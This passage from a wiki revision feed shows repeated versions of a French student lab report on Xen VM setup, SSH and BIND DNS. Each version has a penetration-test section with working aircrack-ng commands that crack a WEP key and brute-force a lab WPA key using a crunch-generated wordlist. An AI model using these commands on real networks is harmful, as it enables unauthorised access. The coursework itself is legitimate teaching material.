 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56777</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56777"/>
				<updated>2021-11-29T18:48:33Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56776</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56776"/>
				<updated>2021-11-29T18:48:03Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                              4         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.corona59.club.&lt;br /&gt;
@       IN      NS      ns6.gandi.net.&lt;br /&gt;
ns1     IN      A       193.48.57.186&lt;br /&gt;
www     IN      A       193.48.57.186&lt;br /&gt;
        IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56753</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56753"/>
				<updated>2021-11-29T18:26:23Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
